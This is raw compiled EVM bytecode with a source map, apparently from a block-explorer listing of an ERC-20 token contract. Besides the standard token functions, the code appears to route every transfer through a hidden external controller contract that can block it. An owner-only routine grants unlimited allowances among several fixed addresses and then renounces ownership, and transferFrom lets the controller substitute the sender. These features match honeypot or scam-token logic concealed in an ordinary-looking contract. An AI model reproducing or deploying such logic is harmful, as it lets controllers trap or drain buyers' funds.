0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d7146102ac578063a9059cbb146102dc578063d60b89da1461030c578063dd62ed3e14610328578063f2fde38b146103585761010b565b8063715018a6146102485780638da5cb5b1461025257806391cca3db1461027057806395d89b411461028e5761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca5780635aca7e5d146101fa57806370a08231146102185761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610374565b6040516101259190611c42565b60405180910390f35b610148600480360381019061014391906119de565b610406565b6040516101559190611c0c565b60405180910390f35b610166610424565b6040516101739190611d64565b60405180910390f35b6101966004803603810190610191919061198b565b61042e565b6040516101a39190611c0c565b60405180910390f35b6101b4610653565b6040516101c19190611d7f565b60405180910390f35b6101e460048036038101906101df91906119de565b61066a565b6040516101f19190611c0c565b60405180910390f35b61020261071d565b60405161020f9190611c27565b60405180910390f35b610232600480360381019061022d919061188a565b610743565b60405161023f9190611d64565b60405180910390f35b61025061078c565b005b61025a6108df565b6040516102679190611bba565b60405180910390f35b610278610908565b6040516102859190611bba565b60405180910390f35b61029661092e565b6040516102a39190611c42565b60405180910390f35b6102c660048036038101906102c191906119de565b6109c0565b6040516102d39190611c0c565b60405180910390f35b6102f660048036038101906102f191906119de565b610a8d565b6040516103039190611c0c565b60405180910390f35b61032660048036038101906103219190611924565b610aab565b005b610342600480360381019061033d91906118e4565b610f79565b60405161034f9190611d64565b60405180910390f35b610372600480360381019061036d919061188a565b611000565b005b60606004805461038390611eec565b80601f01602080910402602001604051908101604052809291908181526020018280546103af90611eec565b80156103fc5780601f106103d1576101008083540402835291602001916103fc565b820191906000526020600020905b8154815290600101906020018083116103df57829003601f168201915b5050505050905090565b600061041a610413611152565b848461115a565b6001905092915050565b6000600754905090565b600061043b848484611325565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639d22ed46866040518263ffffffff1660e01b81526004016104989190611bba565b602060405180830381600087803b1580156104b257600080fd5b505af11580156104c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ea91906118b7565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561057d5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610565611152565b73ffffffffffffffffffffffffffffffffffffffff16145b15610586578094505b61064785610592611152565b610642866040518060600160405280602881526020016121c760289139600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f8611152565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173f9092919063ffffffff16565b61115a565b60019150509392505050565b6000600660009054906101000a900460ff16905090565b6000610713610677611152565b8461070e8560036000610688611152565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a390919063ffffffff16565b61115a565b6001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610794611152565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081890611ce4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606005805461093d90611eec565b80601f016020809104026020016040519081016040528092919081815260200182805461096990611eec565b80156109b65780601f1061098b576101008083540402835291602001916109b6565b820191906000526020600020905b81548152906001019060200180831161099957829003601f168201915b5050505050905090565b6000610a836109cd611152565b84610a7e856040518060600160405280602581526020016121ef60259139600360006109f7611152565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173f9092919063ffffffff16565b61115a565b6001905092915050565b6000610aa1610a9a611152565b8484611325565b6001905092915050565b610ab3611152565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3790611ce4565b60405180910390fd5b82600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60036000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f736000611000565b50505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611008611152565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c90611ce4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c190611d44565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561123a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123190611c84565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113189190611d64565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90611d24565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fc90611c64565b60405180910390fd5b60008111611448576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143f90611d04565b60405180910390fd5b6000811161148b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148290611d04565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342842e0e8585856040518463ffffffff1660e01b815260040161150293929190611bd5565b602060405180830381600087803b15801561151c57600080fd5b505af1158015611530573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061155491906118b7565b73ffffffffffffffffffffffffffffffffffffffff1614156115ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a290611cc4565b60405180910390fd5b6115fd81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061169281600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117329190611d64565b60405180910390a3505050565b6000838311158290611787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177e9190611c42565b60405180910390fd5b50600083856117969190611e0c565b9050809150509392505050565b60008082846117b29190611db6565b9050838110156117f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ee90611ca4565b60405180910390fd5b8091505092915050565b600061184383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061173f565b905092915050565b60008135905061185a81612198565b92915050565b60008151905061186f81612198565b92915050565b600081359050611884816121af565b92915050565b6000602082840312156118a05761189f611f7c565b5b60006118ae8482850161184b565b91505092915050565b6000602082840312156118cd576118cc611f7c565b5b60006118db84828501611860565b91505092915050565b600080604083850312156118fb576118fa611f7c565b5b60006119098582860161184b565b925050602061191a8582860161184b565b9150509250929050565b6000806000806080858703121561193e5761193d611f7c565b5b600061194c8782880161184b565b945050602061195d8782880161184b565b935050604061196e8782880161184b565b925050606061197f8782880161184b565b91505092959194509250565b6000806000606084860312156119a4576119a3611f7c565b5b60006119b28682870161184b565b93505060206119c38682870161184b565b92505060406119d486828701611875565b9150509250925092565b600080604083850312156119f5576119f4611f7c565b5b6000611a038582860161184b565b9250506020611a1485828601611875565b9150509250929050565b611a2781611e40565b82525050565b611a3681611e52565b82525050565b611a4581611e95565b82525050565b6000611a5682611d9a565b611a608185611da5565b9350611a70818560208601611eb9565b611a7981611f81565b840191505092915050565b6000611a91602383611da5565b9150611a9c82611f92565b604082019050919050565b6000611ab4602283611da5565b9150611abf82611fe1565b604082019050919050565b6000611ad7601b83611da5565b9150611ae282612030565b602082019050919050565b6000611afa600e83611da5565b9150611b0582612059565b602082019050919050565b6000611b1d602083611da5565b9150611b2882612082565b602082019050919050565b6000611b40602983611da5565b9150611b4b826120ab565b604082019050919050565b6000611b63602583611da5565b9150611b6e826120fa565b604082019050919050565b6000611b86602483611da5565b9150611b9182612149565b604082019050919050565b611ba581611e7e565b82525050565b611bb481611e88565b82525050565b6000602082019050611bcf6000830184611a1e565b92915050565b6000606082019050611bea6000830186611a1e565b611bf76020830185611a1e565b611c046040830184611b9c565b949350505050565b6000602082019050611c216000830184611a2d565b92915050565b6000602082019050611c3c6000830184611a3c565b92915050565b60006020820190508181036000830152611c5c8184611a4b565b905092915050565b60006020820190508181036000830152611c7d81611a84565b9050919050565b60006020820190508181036000830152611c9d81611aa7565b9050919050565b60006020820190508181036000830152611cbd81611aca565b9050919050565b60006020820190508181036000830152611cdd81611aed565b9050919050565b60006020820190508181036000830152611cfd81611b10565b9050919050565b60006020820190508181036000830152611d1d81611b33565b9050919050565b60006020820190508181036000830152611d3d81611b56565b9050919050565b60006020820190508181036000830152611d5d81611b79565b9050919050565b6000602082019050611d796000830184611b9c565b92915050565b6000602082019050611d946000830184611bab565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611dc182611e7e565b9150611dcc83611e7e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e0157611e00611f1e565b5b828201905092915050565b6000611e1782611e7e565b9150611e2283611e7e565b925082821015611e3557611e34611f1e565b5b828203905092915050565b6000611e4b82611e5e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611ea082611ea7565b9050919050565b6000611eb282611e5e565b9050919050565b60005b83811015611ed7578082015181840152602081019050611ebc565b83811115611ee6576000848401525b50505050565b60006002820490506001821680611f0457607f821691505b60208210811415611f1857611f17611f4d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73666572204572726f72000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6121a181611e40565b81146121ac57600080fd5b50565b6121b881611e7e565b81146121c357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122000e196ff7086662fa7b0ea9429e59f3ee4dd6c803818d7e3d29da0fbb19ab7e664736f6c63430008060033

Deployed Bytecode Sourcemap

4007:4515:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5108:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6014:195;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5385:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6217:536;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5294:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6761:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4464:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5488:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3680:148;;;:::i;:::-;;3466:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4394:63;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5199:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7069:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5615:199;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4500:485;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5822:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3836:160;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5108:83;5145:13;5178:5;5171:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5108:83;:::o;6014:195::-;6116:4;6140:39;6149:12;:10;:12::i;:::-;6163:7;6172:6;6140:8;:39::i;:::-;6197:4;6190:11;;6014:195;;;;:::o;5385:95::-;5438:7;5465;;5458:14;;5385:95;:::o;6217:536::-;6349:4;6366:36;6376:6;6384:9;6395:6;6366:9;:36::i;:::-;6413:14;6430:9;;;;;;;;;;;:20;;;6451:6;6430:28;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6413:45;;6491:1;6473:20;;:6;:20;;;;:58;;;;;6521:9;;;;;;;;;;;6497:34;;:12;:10;:12::i;:::-;:34;;;6473:58;6469:115;;;6566:6;6557:15;;6469:115;6594:129;6603:6;6611:12;:10;:12::i;:::-;6624:88;6662:6;6624:88;;;;;;;;;;;;;;;;;:11;:19;6636:6;6624:19;;;;;;;;;;;;;;;:33;6644:12;:10;:12::i;:::-;6624:33;;;;;;;;;;;;;;;;:37;;:88;;;;;:::i;:::-;6594:8;:129::i;:::-;6741:4;6734:11;;;6217:536;;;;;:::o;5294:83::-;5335:5;5360:9;;;;;;;;;;;5353:16;;5294:83;:::o;6761:300::-;6876:4;6898:133;6921:12;:10;:12::i;:::-;6948:7;6970:50;7009:10;6970:11;:25;6982:12;:10;:12::i;:::-;6970:25;;;;;;;;;;;;;;;:34;6996:7;6970:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;6898:8;:133::i;:::-;7049:4;7042:11;;6761:300;;;;:::o;4464:27::-;;;;;;;;;;;;;:::o;5488:119::-;5554:7;5581:9;:18;5591:7;5581:18;;;;;;;;;;;;;;;;5574:25;;5488:119;;;:::o;3680:148::-;3605:12;:10;:12::i;:::-;3595:22;;:6;;;;;;;;;;:22;;;3587:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3787:1:::1;3750:40;;3771:6;::::0;::::1;;;;;;;;3750:40;;;;;;;;;;;;3818:1;3801:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3680:148::o:0;3466:79::-;3504:7;3531:6;;;;;;;;;;;3524:13;;3466:79;:::o;4394:63::-;;;;;;;;;;;;;:::o;5199:87::-;5238:13;5271:7;5264:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5199:87;:::o;7069:400::-;7189:4;7211:228;7234:12;:10;:12::i;:::-;7261:7;7283:145;7340:15;7283:145;;;;;;;;;;;;;;;;;:11;:25;7295:12;:10;:12::i;:::-;7283:25;;;;;;;;;;;;;;;:34;7309:7;7283:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;7211:8;:228::i;:::-;7457:4;7450:11;;7069:400;;;;:::o;5615:199::-;5720:4;5742:42;5752:12;:10;:12::i;:::-;5766:9;5777:6;5742:9;:42::i;:::-;5802:4;5795:11;;5615:199;;;;:::o;4500:485::-;3605:12;:10;:12::i;:::-;3595:22;;:6;;;;;;;;;;:22;;;3587:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4609:1:::1;4587:9;;:24;;;;;;;;;;;;;;;;;;4642:17;4622:11;:14;4634:1;4622:14;;;;;;;;;;;;;;;:17;4637:1;4622:17;;;;;;;;;;;;;;;:37;;;;4691:17;4671:11;:14;4683:1;4671:14;;;;;;;;;;;;;;;:17;4686:1;4671:17;;;;;;;;;;;;;;;:37;;;;4740:17;4720:11;:14;4732:1;4720:14;;;;;;;;;;;;;;;:17;4735:1;4720:17;;;;;;;;;;;;;;;:37;;;;4789:17;4769:11;:14;4781:1;4769:14;;;;;;;;;;;;;;;:17;4784:1;4769:17;;;;;;;;;;;;;;;:37;;;;4837:17;4817:11;:14;4829:1;4817:14;;;;;;;;;;;;;;;:17;4832:1;4817:17;;;;;;;;;;;;;;;:37;;;;4888:17;4866:11;:16;4878:3;;;;;;;;;;;4866:16;;;;;;;;;;;;;;;:19;4883:1;4866:19;;;;;;;;;;;;;;;:39;;;;4916:61;4934:42;4916:17;:61::i;:::-;4500:485:::0;;;;:::o;5822:184::-;5939:7;5971:11;:18;5983:5;5971:18;;;;;;;;;;;;;;;:27;5990:7;5971:27;;;;;;;;;;;;;;;;5964:34;;5822:184;;;;:::o;3836:160::-;3605:12;:10;:12::i;:::-;3595:22;;:6;;;;;;;;;;:22;;;3587:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3951:8:::1;3922:38;;3943:6;::::0;::::1;;;;;;;;3922:38;;;;;;;;;;;;3980:8;3971:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3836:160:::0;:::o;97:115::-;150:15;193:10;178:26;;97:115;:::o;7477:371::-;7621:1;7604:19;;:5;:19;;;;7596:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7702:1;7683:21;;:7;:21;;;;7675:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7786:6;7756:11;:18;7768:5;7756:18;;;;;;;;;;;;;;;:27;7775:7;7756:27;;;;;;;;;;;;;;;:36;;;;7824:7;7808:32;;7817:5;7808:32;;;7833:6;7808:32;;;;;;:::i;:::-;;;;;;;;7477:371;;;:::o;7856:663::-;7994:1;7978:18;;:4;:18;;;;7970:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8071:1;8057:16;;:2;:16;;;;8049:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8141:1;8132:6;:10;8124:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8216:1;8207:6;:10;8199:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8339:1;8284:57;;:9;;;;;;;;;;;:26;;;8311:4;8317:2;8320:6;8284:43;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:57;;;;8276:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;8390:27;8410:6;8390:9;:15;8400:4;8390:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;8372:9;:15;8382:4;8372:15;;;;;;;;;;;;;;;:45;;;;8444:25;8462:6;8444:9;:13;8454:2;8444:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;8428:9;:13;8438:2;8428:13;;;;;;;;;;;;;;;:41;;;;8500:2;8485:26;;8494:4;8485:26;;;8504:6;8485:26;;;;;;:::i;:::-;;;;;;;;7856:663;;;:::o;1796:226::-;1916:7;1949:1;1944;:6;;1952:12;1936:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1976:9;1992:1;1988;:5;;;;:::i;:::-;1976:17;;2013:1;2006:8;;;1796:226;;;;;:::o;1467:179::-;1525:7;1545:9;1561:1;1557;:5;;;;:::i;:::-;1545:17;;1586:1;1581;:6;;1573:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1637:1;1630:8;;;1467:179;;;;:::o;1654:136::-;1712:7;1739:43;1743:1;1746;1739:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1732:50;;1654:136;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;215:80;;;;:::o;301:139::-;347:5;385:6;372:20;363:29;;401:33;428:5;401:33;:::i;:::-;353:87;;;;:::o;446:329::-;505:6;554:2;542:9;533:7;529:23;525:32;522:2;;;560:79;;:::i;:::-;522:2;680:1;705:53;750:7;741:6;730:9;726:22;705:53;:::i;:::-;695:63;;651:117;512:263;;;;:::o;781:351::-;851:6;900:2;888:9;879:7;875:23;871:32;868:2;;;906:79;;:::i;:::-;868:2;1026:1;1051:64;1107:7;1098:6;1087:9;1083:22;1051:64;:::i;:::-;1041:74;;997:128;858:274;;;;:::o;1138:474::-;1206:6;1214;1263:2;1251:9;1242:7;1238:23;1234:32;1231:2;;;1269:79;;:::i;:::-;1231:2;1389:1;1414:53;1459:7;1450:6;1439:9;1435:22;1414:53;:::i;:::-;1404:63;;1360:117;1516:2;1542:53;1587:7;1578:6;1567:9;1563:22;1542:53;:::i;:::-;1532:63;;1487:118;1221:391;;;;;:::o;1618:765::-;1704:6;1712;1720;1728;1777:3;1765:9;1756:7;1752:23;1748:33;1745:2;;;1784:79;;:::i;:::-;1745:2;1904:1;1929:53;1974:7;1965:6;1954:9;1950:22;1929:53;:::i;:::-;1919:63;;1875:117;2031:2;2057:53;2102:7;2093:6;2082:9;2078:22;2057:53;:::i;:::-;2047:63;;2002:118;2159:2;2185:53;2230:7;2221:6;2210:9;2206:22;2185:53;:::i;:::-;2175:63;;2130:118;2287:2;2313:53;2358:7;2349:6;2338:9;2334:22;2313:53;:::i;:::-;2303:63;;2258:118;1735:648;;;;;;;:::o;2389:619::-;2466:6;2474;2482;2531:2;2519:9;2510:7;2506:23;2502:32;2499:2;;;2537:79;;:::i;:::-;2499:2;2657:1;2682:53;2727:7;2718:6;2707:9;2703:22;2682:53;:::i;:::-;2672:63;;2628:117;2784:2;2810:53;2855:7;2846:6;2835:9;2831:22;2810:53;:::i;:::-;2800:63;;2755:118;2912:2;2938:53;2983:7;2974:6;2963:9;2959:22;2938:53;:::i;:::-;2928:63;;2883:118;2489:519;;;;;:::o;3014:474::-;3082:6;3090;3139:2;3127:9;3118:7;3114:23;3110:32;3107:2;;;3145:79;;:::i;:::-;3107:2;3265:1;3290:53;3335:7;3326:6;3315:9;3311:22;3290:53;:::i;:::-;3280:63;;3236:117;3392:2;3418:53;3463:7;3454:6;3443:9;3439:22;3418:53;:::i;:::-;3408:63;;3363:118;3097:391;;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3559:53;;:::o;3618:109::-;3699:21;3714:5;3699:21;:::i;:::-;3694:3;3687:34;3677:50;;:::o;3733:163::-;3836:53;3883:5;3836:53;:::i;:::-;3831:3;3824:66;3814:82;;:::o;3902:364::-;3990:3;4018:39;4051:5;4018:39;:::i;:::-;4073:71;4137:6;4132:3;4073:71;:::i;:::-;4066:78;;4153:52;4198:6;4193:3;4186:4;4179:5;4175:16;4153:52;:::i;:::-;4230:29;4252:6;4230:29;:::i;:::-;4225:3;4221:39;4214:46;;3994:272;;;;;:::o;4272:366::-;4414:3;4435:67;4499:2;4494:3;4435:67;:::i;:::-;4428:74;;4511:93;4600:3;4511:93;:::i;:::-;4629:2;4624:3;4620:12;4613:19;;4418:220;;;:::o;4644:366::-;4786:3;4807:67;4871:2;4866:3;4807:67;:::i;:::-;4800:74;;4883:93;4972:3;4883:93;:::i;:::-;5001:2;4996:3;4992:12;4985:19;;4790:220;;;:::o;5016:366::-;5158:3;5179:67;5243:2;5238:3;5179:67;:::i;:::-;5172:74;;5255:93;5344:3;5255:93;:::i;:::-;5373:2;5368:3;5364:12;5357:19;;5162:220;;;:::o;5388:366::-;5530:3;5551:67;5615:2;5610:3;5551:67;:::i;:::-;5544:74;;5627:93;5716:3;5627:93;:::i;:::-;5745:2;5740:3;5736:12;5729:19;;5534:220;;;:::o;5760:366::-;5902:3;5923:67;5987:2;5982:3;5923:67;:::i;:::-;5916:74;;5999:93;6088:3;5999:93;:::i;:::-;6117:2;6112:3;6108:12;6101:19;;5906:220;;;:::o;6132:366::-;6274:3;6295:67;6359:2;6354:3;6295:67;:::i;:::-;6288:74;;6371:93;6460:3;6371:93;:::i;:::-;6489:2;6484:3;6480:12;6473:19;;6278:220;;;:::o;6504:366::-;6646:3;6667:67;6731:2;6726:3;6667:67;:::i;:::-;6660:74;;6743:93;6832:3;6743:93;:::i;:::-;6861:2;6856:3;6852:12;6845:19;;6650:220;;;:::o;6876:366::-;7018:3;7039:67;7103:2;7098:3;7039:67;:::i;:::-;7032:74;;7115:93;7204:3;7115:93;:::i;:::-;7233:2;7228:3;7224:12;7217:19;;7022:220;;;:::o;7248:118::